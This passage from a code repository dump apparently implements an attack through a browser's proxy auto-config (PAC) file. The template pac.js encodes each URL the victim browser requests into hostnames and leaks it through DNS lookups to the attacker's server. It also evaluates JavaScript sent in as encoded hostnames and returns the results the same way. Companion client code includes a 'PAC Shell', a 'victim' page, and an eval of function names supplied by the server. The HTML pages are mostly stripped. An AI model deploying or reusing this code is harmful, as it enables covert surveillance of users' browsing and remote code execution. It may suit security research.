sure it matches the current prerender to avoid race conditions. 225 | if (pac.prerender_regex.test(url)) { 226 | pac.prerender_count -= 1; 227 | if (pac.prerender_count == 0) { 228 | pac._renderNextPrerenderUrl(); 229 | } 230 | } 231 | callback(pac, url); 232 | }); 233 | 234 | if (typeof this.prerender_queue == 'undefined') { 235 | this.prerender_queue = new Array(); 236 | this.prerender_url = null; 237 | this.prerender_timeout = null; 238 | } 239 | 240 | this.prerender_queue.push([url, count, regex]); 241 | // If the queue is not currently being processed, render the first url 242 | if (this.prerender_url == null) { 243 | this._renderNextPrerenderUrl(); 244 | } 245 | } 246 | 247 | PACServer.prototype._renderNextPrerenderUrl = function() { 248 | clearTimeout(this.prerender_timeout); 249 | 250 | if (this.prerender_queue.length > 0) { 251 | [this.prerender_url, this.prerender_count, this.prerender_regex] = this.prerender_queue.shift(); 252 | pac = this; 253 | this.prerender_timeout = setTimeout(function() { pac._renderNextPrerenderUrl(); }, 10000); // Give the page 10 seconds to load 254 | this.prerenderUrl(this.prerender_url); 255 | } 256 | else { 257 | this.prerender_url = null; 258 | } 259 | } 260 | 261 | /** 262 | * Process events recieved from server 263 | */ 264 | PACServer.prototype._onmessage = function(e) { 265 | var data = JSON.parse(e.data); 266 | 267 | if (!('type' in data)) 268 | return; 269 | 270 | if (data.type == 'url') { // receive a URL leaked from the PAC script 271 | this._handleUrl(data); 272 | } else if (data.type == 'eval') { // JS eval response from PAC script 273 | this._handleRet(data); 274 | } else if (data.type == 'sub_id') { // we get sent a UUID after subscribing to the EventSource Echannel 275 | console.log("Event subscription id: " + data.sub_id); 276 | this.subscriptionId = data.sub_id; 277 | this._requestPacSid(); 278 | } else if (data.type == 'do_request') { // server asked us to fetch a URL 279 | console.log("Server requested URL: " + data.url) 280 | this.requestUrl(data.url); 281 | } else if (data.type == 'do_prerender') { // server asked us to prerender a URL 282 | console.log("Server requested prerender URL: " + data.url) 283 | this.prerenderUrl(data.url); 284 | } else if (data.type == 'call') { // master requested we call a function 285 | var fn = JSON.parse(data.msg).fn; 286 | console.log("Calling function " + fn); 287 | var fn = eval(fn); 288 | fn = fn.bind(this); 289 | fn(this); 290 | } 291 | 292 | if (data.type in this.channelCallbacks) { 293 | var channel = data.type; 294 | if (data.msg) { 295 | try { 296 | data.msg = JSON.parse(data.msg); 297 | } catch (e) {} 298 | } 299 | for (var i=0; i < this.channelCallbacks[channel].length; i++) { 300 | this.channelCallbacks[channel][i](this, data); 301 | } 302 | } 303 | } 304 | 305 | PACServer.prototype._handleRet = function(data) { 306 | var retstr = data.data; 307 | if (retstr.length == 0) retstr = '[0-length reply]'; 308 | console.log('eval reply', retstr) 309 | if (retstr.indexOf('sidrequest-') == 0) 310 | this._gotMyPacSid(data.pac_sid); 311 | } 312 | 313 | PACServer.prototype._handleUrl = function(data) { 314 | var url = data.data; 315 | 316 | // deal with Chrome's duplicate URL requests to PAC script 317 | if (this.recentUrls.indexOf(url) >= 0) return; 318 | this.recentUrls.push(url); 319 | if (this.recentUrls.length > 20) this.recentUrls.shift(); 320 | 321 | for (var i=0; i < this.regexCallbacks.length; i++) { 322 | var regex = this.regexCallbacks[i][0]; 323 | var result = url.match(regex); 324 | if (result) { 325 | var callback = this.regexCallbacks[i][1]; 326 | callback(this, url, result); 327 | return; 328 | } 329 | } 330 | } 331 | 332 | /** 333 | * We want to know the session ID of the PAC script this browser is using. So 334 | * send our subscription ID through the PAC script. The reply lets this script 335 | * and the server tie the subscription ID (UUID) and PAC session ID together 336 | */ 337 | PACServer.prototype._requestPacSid = function() { 338 | var sidRequest = 'sidrequest-' + this.subscriptionId; 339 | this.evalInPac("'" + sidRequest + "'"); 340 | } 341 | 342 | PACServer.prototype._gotMyPacSid = function (sid) { 343 | if (!this.pacSid) { 344 | this.pacSid = sid; 345 | console.log("PAC session ID: " + sid); 346 | } 347 | } 348 | -------------------------------------------------------------------------------- /static/pacshell.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | PAC Shell 5 | 9 | 10 | 11 | 12 |
13 |

PAC Shell

14 |

Type JavaScript to evaluate in the PAC script

15 |
16 | or press Ctrl-Enter to send 17 |
18 | 22 | 23 | 24 | 25 | 26 | 52 | 53 | -------------------------------------------------------------------------------- /static/victim.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 22 | 23 | 24 |

PAC Victim

25 |

Nothing to see here!

26 | 27 | -------------------------------------------------------------------------------- /templates/pac.js: -------------------------------------------------------------------------------- 1 | 2 | var user_agent = {{ user_agent }}; 3 | var session_id = {{ session_id }}; 4 | var timestamp = {{ timestamp }}; 5 | 6 | var asciiToBase36debug = ''; 7 | var respno = Math.floor(Math.random()*1000); 8 | var evalSuffix = '.e'; 9 | var retSuffix = '.r'; 10 | var urlSuffix = '.u'; 11 | var cacheFill = 'cachefill'; 12 | var cacheFillStats = []; 13 | 14 | var pendingBits = {}; 15 | 16 | var blockRegexes = []; 17 | var leakRegexes = []; 18 | 19 | function asciiToBase36(str) { 20 | // split into 6-character chunks 21 | var chunks = str.match(/[\s\S]{1,6}/g); 22 | asciiToBase36debug = ''; 23 | var s = ''; 24 | for (var i=0; i < chunks.length; i++) { 25 | var n = ''; 26 | var chunk = chunks[i]; 27 | 28 | // create a hex-encoded string 29 | for (var j=0; j < chunk.length; j++) { 30 | var c = chunk.charCodeAt(j).toString(16); 31 | if (c.length == 1) c = '0' + c; 32 | n += c; 33 | } 34 | 35 | // convert hex into base 36 36 | var b36 = parseInt(n, 16).toString(36); 37 | // pad with 0s to length 10 38 | b36 = '0000000000' + b36; 39 | b36 = b36.substr(b36.length - 10); 40 | s += b36; 41 | asciiToBase36debug += n + " '" + chunk + "' " + b36+"\n"; 42 | } 43 | 44 | return s; 45 | } 46 | 47 | // encode an arbitrary string into one or more hostname 48 | function asciiToHostNames(str, suffix) { 49 | str = asciiToBase36(str); 50 | 51 | var hostnames = str.match(/.{1,200}/g); 52 | var hostarray = []; 53 | var rn = respno++; 54 | for (var i=0; i < hostnames.length; i++) { 55 | var h = hostnames[i]; 56 | var chunks = h.match(/.{1,63}/g); 57 | chunks.push(session_id); // send our PAC session ID with each response 58 | chunks.push(respno); 59 | chunks.push(hostnames.length-i-1); // part number 60 | chunks.push(hostnames.length); // total parts 61 | var host = chunks.join('.') + suffix; 62 | if (host.length > 253) 63 | host = null; 64 | hostarray.push(host); 65 | } 66 | return hostarray; 67 | } 68 | 69 | function base36toAscii(str) { 70 | var chunks = str.match(/.{1,10}/g); 71 | if (chunks == null) 72 | return; 73 | var s = ''; 74 | for (var i=0; i < chunks.length; i++) { 75 | var c = parseInt(chunks[i], 36).toString(16); 76 | //c = '000000000000' + c; 77 | //c = c.substr(c.length - 12); 78 | if (c.length % 2 == 1) c = '0' + c; 79 | //s += c + " '"; 80 | for (var j=0; j < c.length; j += 2) { 81 | s += String.fromCharCode(parseInt(c.substr(j,2), 16)); 82 | } 83 | //s += "'\n"; 84 | } 85 | return s; 86 | } 87 | 88 | function log(str) { 89 | if (typeof(console) != "undefined") 90 | console.log(str); 91 | } 92 | 93 | function hostNameToAscii(name, suffix) { 94 | var str = name.substr(0, name.length-suffix.length); 95 | var bits = str.split('.'); 96 | 97 | var totalparts = parseInt(bits.pop()); 98 | var partno = parseInt(bits.pop()); 99 | var msgno = parseInt(bits.pop()); 100 | var sessid = parseInt(bits.pop()); 101 | 102 | var partkey = msgno + '-' + sessid; 103 | 104 | str = base36toAscii(bits.join('')); 105 | //console.log(str, msgno, partno); 106 | 107 | if (!(partkey in pendingBits)) { 108 | pendingBits[partkey] = {}; 109 | pendingBits[partkey].parts = [] 110 | pendingBits[partkey].names = []; 111 | pendingBits[partkey].received = 0; 112 | } 113 | 114 | if (pendingBits[partkey].parts[partno] == null) { 115 | pendingBits[partkey].parts[partno] = str; 116 | pendingBits[partkey].names[partno] = name; 117 | pendingBits[partkey].received++; 118 | } 119 | 120 | if (pendingBits[partkey].received == totalparts) { 121 | str = ''; 122 | name = ''; 123 | for (var i = pendingBits[partkey].parts.length - 1; i >= 0; i--) { 124 | str += pendingBits[partkey].parts[i]; 125 | name += pendingBits[partkey].names[i]; 126 | } 127 | delete pendingBits[partkey]; 128 | return {'sid': sessid, 'data':str, 'name':name}; 129 | } 130 | } 131 | 132 | function hasSuffix(str, suffix) { 133 | return (str.substr(str.length - suffix.length, suffix.length) == suffix); 134 | } 135 | 136 | function getPath(url, host) { 137 | return url.substr(url.indexOf(host) + host.length); 138 | } 139 | 140 | function processCacheFill(url, host) { 141 | var hasPath = getPath(url, host).length > 1; 142 | cacheFillStats.push(hasPath); 143 | if (cacheFillStats.length > 100) 144 | cacheFillStats.shift() 145 | return null; 146 | } 147 | 148 | function getCacheFillSummary() { 149 | var total = 0; 150 | var withPaths = 0; 151 | for (var i=0; i < cacheFillStats.length; i++) { 152 | total++; 153 | if (cacheFillStats[i]) withPaths++; 154 | } 155 | return '{"total":' + total + ' , "withPaths":' + withPaths + '}'; 156 | } 157 | 158 | function shouldBlockRequest(url) { 159 | for (var i=0; i < blockRegexes.length; i++) { 160 | if (url.match(blockRegexes[i])) 161 | return true; 162 | } 163 | return false; 164 | } 165 | 166 | function shouldLeakRequest(url) { 167 | // If there are no leak regexes assume we want to leak everything 168 | if (leakRegexes.length == 0) return true; 169 | for (var i=0; i < leakRegexes.length; i++) { 170 | if (url.match(leakRegexes[i])) 171 | return true; 172 | } 173 | return false; 174 | } 175 | 176 | // Eval a JS string received from the browser 177 | // Return the result as a hostname ending in .r 178 | function processEval(host) { 179 | var d = hostNameToAscii(host, evalSuffix); 180 | if (d === null) return null; 181 | var result = ''; 182 | try { 183 | result += eval(d.data); 184 | } catch (e) { 185 | result += e.message; 186 | } 187 | var ret = asciiToHostNames(result, retSuffix); 188 | if (ret !== null) { 189 | for (var i=0; i < ret.length; i++) { 190 | if (dnsResolve(ret[i])) 1; 191 | } 192 | } 193 | } 194 | 195 | function FindProxyForURL(url, host){ 196 | var proxy = "DIRECT"; 197 | var blockproxy = "PROXY 127.0.0.1:0"; 198 | 199 | if (shouldBlockRequest(url)) 200 | proxy = blockproxy; 201 | 202 | var ret = null; 203 | 204 | if (hasSuffix(host, evalSuffix)) { // is this an eval command from the webpage encoded as a hostname? 205 | processEval(host); 206 | } else if (host.indexOf(cacheFill) >= 0) { // attempting to fill IE's host cache 207 | ret = processCacheFill(url, host); 208 | } else if (shouldLeakRequest(url)) { // this is a regular URL request so encode and leak the URL 209 | ret = asciiToHostNames(url, urlSuffix); 210 | } 211 | 212 | if (ret !== null) { 213 | for (var i=0; i < ret.length; i++) { 214 | if (dnsResolve(ret[i])) 1; 215 | } 216 | } 217 | return proxy; 218 | } 219 | --------------------------------------------------------------------------------